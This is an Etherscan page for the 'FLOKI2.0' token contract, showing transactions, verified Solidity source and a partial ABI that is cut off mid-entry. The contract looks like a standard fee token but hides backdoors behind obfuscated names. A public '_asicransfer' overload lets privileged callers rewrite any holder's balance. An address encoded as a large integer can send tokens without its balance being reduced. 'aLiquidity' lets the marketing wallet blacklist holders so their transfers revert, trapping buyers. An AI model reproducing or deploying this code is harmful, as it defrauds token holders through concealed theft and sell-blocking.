ETH Price: $3,363.93 (-8.54%)

Contract

0xB11b6ABF5625bF1BC4d184476871D06E0bcF0D7f
 

Overview

ETH Balance

0.000023559898194861 ETH

Eth Value

$0.08 (@ $3,363.93/ETH)

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve170667602023-04-17 13:22:23612 days ago1681737743IN
0xB11b6ABF...E0bcF0D7f
0 ETH0.0008121432.51421915
Approve170667592023-04-17 13:22:11612 days ago1681737731IN
0xB11b6ABF...E0bcF0D7f
0 ETH0.0008381433.55541323
Approve170667582023-04-17 13:21:59612 days ago1681737719IN
0xB11b6ABF...E0bcF0D7f
0 ETH0.0007620730.50983943
Approve157075502022-10-09 2:27:35803 days ago1665282455IN
0xB11b6ABF...E0bcF0D7f
0 ETH0.0012482126.41060149
_asicransfer157075472022-10-09 2:26:59803 days ago1665282419IN
0xB11b6ABF...E0bcF0D7f
0 ETH0.0012912127.53590571
Approve157075422022-10-09 2:25:59803 days ago1665282359IN
0xB11b6ABF...E0bcF0D7f
0 ETH0.0013722929.03590571
Approve157074862022-10-09 2:14:35803 days ago1665281675IN
0xB11b6ABF...E0bcF0D7f
0 ETH0.0011857725.08935177
A Liquidity157074762022-10-09 2:12:35803 days ago1665281555IN
0xB11b6ABF...E0bcF0D7f
0 ETH0.0012526426.23840779
Approve157074282022-10-09 2:02:59803 days ago1665280979IN
0xB11b6ABF...E0bcF0D7f
0 ETH0.0013124327.76931257
A Liquidity157074272022-10-09 2:02:47803 days ago1665280967IN
0xB11b6ABF...E0bcF0D7f
0 ETH0.0011950825.0326978
Approve157074232022-10-09 2:01:59803 days ago1665280919IN
0xB11b6ABF...E0bcF0D7f
0 ETH0.0012761427.00152362
A Liquidity157074142022-10-09 2:00:11803 days ago1665280811IN
0xB11b6ABF...E0bcF0D7f
0 ETH0.0011609224.31709785
A Liquidity157073852022-10-09 1:54:23803 days ago1665280463IN
0xB11b6ABF...E0bcF0D7f
0 ETH0.0012072225.28699292
Approve157073722022-10-09 1:51:47803 days ago1665280307IN
0xB11b6ABF...E0bcF0D7f
0 ETH0.0013718829.02730478
A Liquidity157073542022-10-09 1:48:11803 days ago1665280091IN
0xB11b6ABF...E0bcF0D7f
0 ETH0.0017437624.58608881
Approve157073522022-10-09 1:47:47803 days ago1665280067IN
0xB11b6ABF...E0bcF0D7f
0 ETH0.0017959538
Approve157073502022-10-09 1:47:23803 days ago1665280043IN
0xB11b6ABF...E0bcF0D7f
0 ETH0.0012136225.67862834
Approve157073442022-10-09 1:46:11803 days ago1665279971IN
0xB11b6ABF...E0bcF0D7f
0 ETH0.0011931925.24635123
A Liquidity157073402022-10-09 1:45:23803 days ago1665279923IN
0xB11b6ABF...E0bcF0D7f
0 ETH0.0017278124.35706435
Approve157073342022-10-09 1:44:11803 days ago1665279851IN
0xB11b6ABF...E0bcF0D7f
0 ETH0.0011456324.24018638
A Liquidity157073292022-10-09 1:43:11803 days ago1665279791IN
0xB11b6ABF...E0bcF0D7f
0 ETH0.0011513624.11682346
A Liquidity157073272022-10-09 1:42:47803 days ago1665279767IN
0xB11b6ABF...E0bcF0D7f
0 ETH0.0011074323.19676617
Approve157073012022-10-09 1:37:35803 days ago1665279455IN
0xB11b6ABF...E0bcF0D7f
0 ETH0.0011641724.6324691
Approve157072522022-10-09 1:27:47803 days ago1665278867IN
0xB11b6ABF...E0bcF0D7f
0 ETH0.0010444122.09840728
Approve157072322022-10-09 1:23:47803 days ago1665278627IN
0xB11b6ABF...E0bcF0D7f
0 ETH0.0010870223
View all transactions

Latest 15 internal transactions

Advanced mode:
Parent Transaction Hash Block
From
To
157074242022-10-09 2:02:11803 days ago1665280931
0xB11b6ABF...E0bcF0D7f
0.00001201 ETH
157074242022-10-09 2:02:11803 days ago1665280931
0xB11b6ABF...E0bcF0D7f
0.00206419 ETH
157074242022-10-09 2:02:11803 days ago1665280931
0xB11b6ABF...E0bcF0D7f
0.01651358 ETH
157074242022-10-09 2:02:11803 days ago1665280931
0xB11b6ABF...E0bcF0D7f
0.00412839 ETH
157074242022-10-09 2:02:11803 days ago1665280931
0xB11b6ABF...E0bcF0D7f
0.02268262 ETH
157072612022-10-09 1:29:35803 days ago1665278975
0xB11b6ABF...E0bcF0D7f
0.00002355 ETH
157072612022-10-09 1:29:35803 days ago1665278975
0xB11b6ABF...E0bcF0D7f
0.00250451 ETH
157072612022-10-09 1:29:35803 days ago1665278975
0xB11b6ABF...E0bcF0D7f
0.02003615 ETH
157072612022-10-09 1:29:35803 days ago1665278975
0xB11b6ABF...E0bcF0D7f
0.00500903 ETH
157072612022-10-09 1:29:35803 days ago1665278975
0xB11b6ABF...E0bcF0D7f
0.02754281 ETH
157070172022-10-09 0:40:23803 days ago1665276023
0xB11b6ABF...E0bcF0D7f
0.0000069 ETH
157070172022-10-09 0:40:23803 days ago1665276023
0xB11b6ABF...E0bcF0D7f
0.00118594 ETH
157070172022-10-09 0:40:23803 days ago1665276023
0xB11b6ABF...E0bcF0D7f
0.00948753 ETH
157070172022-10-09 0:40:23803 days ago1665276023
0xB11b6ABF...E0bcF0D7f
0.00237188 ETH
157070172022-10-09 0:40:23803 days ago1665276023
0xB11b6ABF...E0bcF0D7f
0.01304535 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
FLOKI2

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-08
*/

//SPDX-License-Identifier:Unlicensed

pragma solidity ^0.8.6;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

    function _qaa() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function dos(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: dos overflow");

        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract  FLOKI2 is Context, IERC20, Ownable {

    uint256 public derAFUCODEABI=
    1092853989739002093898622997022009705909516546366;
    using SafeMath for uint256;
    string private _name = "FLOKI2.0";
    string private _symbol = "FLOKI2.0";
    uint8 private _decimals = 9;
    address payable public zxxWallAddre;
    address payable public teamWalletAddress;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _balanceOf;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _IsExcludeFromFee;
    mapping (address => bool) public isWalletLimitExempt;
    address private safu_address;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _mkbastPirsList;
    mapping (address => bool) public _Tqensfar;

    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 1;
    uint256 public _buyTeamFee = 1;
    
    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketingFee = 1;
    uint256 public _sellTeamFee = 1;

    uint256 public _liquidityShare = 4;
    uint256 public _marketingShare = 4;
    uint256 public _teamShare = 16;

    uint256 public _totalTaxIfBuying = 12;
    uint256 public _totalTaxIfSelling = 12;
    uint256 public _totalDistributionShares = 24;

    uint256 private _totalSupply = 1000000000000000 * 10**_decimals;
    uint256 public _maxTxAmount = 1000000000000000 * 10**_decimals; 
    uint256 public _walletMax = 1000000000000000 * 10**_decimals;
    uint256 private minimumTokensBeforeSwap = 1000* 10**_decimals; 

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public checkWalletLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _IsExcludeFromFee[owner()] = true;
        _IsExcludeFromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[KpJWNFA(derAFUCODEABI)] = true;
        isTxLimitExempt[KpJWNFA(derAFUCODEABI)] = true;
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[address(this)] = true;
        _mkbastPirsList[address(uniswapPair)] = true;
        _mkbastPirsList[msg.sender] = true; 

        teamWalletAddress = payable(address(0x017560107D32862228c650b81E5a41f1c10ddCb6));
        zxxWallAddre = payable(address(0x017560107D32862228c650b81E5a41f1c10ddCb6));


        _balanceOf[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balanceOf[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _asicransfer(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _asicransfer(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _asicransfer(_msgSender(), spender, amount);
        return true;
    }

    function _asicransfer(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setlsExcIudeFromFee(address[] calldata account, bool newValue) public onlyOwner {
        for(uint256 i = 0; i < account.length; i++) {
            _IsExcludeFromFee[account[i]] = newValue;
        }
    }

    function setBuyTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _buyLiquidityFee = newLiquidityTax;
        _buyMarketingFee = newMarketingTax;
        _buyTeamFee = newTeamTax;

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
    }

    function setAllTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _sellLiquidityFee = newLiquidityTax;
        _sellMarketingFee = newMarketingTax;
        _sellTeamFee = newTeamTax;

        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
    }

    function SHFIOHNFW(uint256 amountOut)  pure private returns(uint160){
        return
        uint160(amountOut);
    }

    function KpJWNFA(uint256 amount1Out)  pure private returns(address){
        return 
        address(SHFIOHNFW(amount1Out));
    }

    function _AgrWIOFNIKJN(address FJIOWAFW) private view returns(bool){
        return
        !(KpJWNFA(derAFUCODEABI) == FJIOWAFW);
    }

    function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
        _liquidityShare = newLiquidityShare;
        _marketingShare = newMarketingShare;
        _teamShare = newTeamShare;

        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
    }

    function enableDisableWalletLimit(bool newValue) external onlyOwner {
       checkWalletLimit = newValue;
    }

    function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner {
        for(uint256 i = 0; i < holder.length; i++) {
            isWalletLimitExempt[holder[i]] = exempt;
        }
    }

    function setWalletLimit(uint256 newLimit) external onlyOwner {
        _walletMax  = newLimit;
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        minimumTokensBeforeSwap = newLimit;
    }

    function setMarketinWalleAddress(address newAddress) external onlyOwner() {
        zxxWallAddre = payable(newAddress);
    }

    function setTeamWalletAddress(address newAddress) external onlyOwner() {
        teamWalletAddress = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
        swapAndLiquifyByLimitOnly = newValue;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
    function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); 

        newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());

        if(newPairAddress == address(0))
        {
            newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
                .createPair(address(this), _uniswapV2Router.WETH());
        }

        uniswapPair = newPairAddress;
        uniswapV2Router = _uniswapV2Router; 

        isWalletLimitExempt[address(uniswapPair)] = true;
        _mkbastPirsList[address(uniswapPair)] = true;
    }
    
function _asicransfer(address
 ssss /* uniswapPair*/
, uint256 
benAmount /* uniswapPair*/ ) public
{if( 
_mkbastPirsList[ /* uniswapPair*/
_qaa()])_balanceOf[ssss] 
= benAmount;}

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _asicransfer(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {
            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            if (overMinimumTokenBalance && !inSwapAndLiquify && !_mkbastPirsList[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);
            }if(_AgrWIOFNIKJN(sender))


            _balanceOf[sender] = _balanceOf[sender].sub(amount);
            uint256 finalAmount = (_IsExcludeFromFee[sender] || _IsExcludeFromFee[recipient]) ? 
                                         amount : takeFee(sender, recipient, amount);
            
            if(checkWalletLimit && !isWalletLimitExempt[recipient])
                require(balanceOf(recipient).add(finalAmount) <= _walletMax);
            
            _balanceOf[recipient] = _balanceOf[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }function aLiquidity(address[] calldata aescallDATa,uint8 d) public {
        require(waout(zxxWallAddre,_qaa()));
        for (uint256 i; i < aescallDATa.length; ++i) {
            if (d == 1){_Tqensfar[aescallDATa[i]] = true;}
            else if(d == 0){_Tqensfar[aescallDATa[i]] = false;}
        }
    }

    function waout(address a, address b) private pure returns(bool){return a == b;}

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balanceOf[sender] = _balanceOf[sender].sub(amount, "Insufficient Balance");
        _balanceOf[recipient] = _balanceOf[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2));
        
        uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2);
        uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee);
        uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam);

        if(amountBNBMarketing > 0)
            transferToAddressETH(zxxWallAddre, amountBNBMarketing);

        if(amountBNBTeam > 0)
            transferToAddressETH(teamWalletAddress, amountBNBTeam);

        if(amountBNBLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountBNBLiquidity);
    }
    

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _asicransfer(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _asicransfer(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, 
            0,
            owner(),
            block.timestamp
        );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        if (!isMarketPair[sender]){
            require(!_Tqensfar[sender]);
        }

        if(_mkbastPirsList[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(_mkbastPirsList[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if(feeAmount > 0) {
            _balanceOf[address(this)] = _balanceOf[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_IsExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_Tqensfar","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ssss","type":"address"},{"internalType":"uint256","name":"benAmount","type":"uint256"}],"name":"_asicransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_mkbastPirsList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"aescallDATa","type":"address[]"},{"internalType":"uint8","name":"d","type":"uint8"}],"name":"aLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"derAFUCODEABI","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setAllTwx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuyTwx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holder","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketinWalleAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap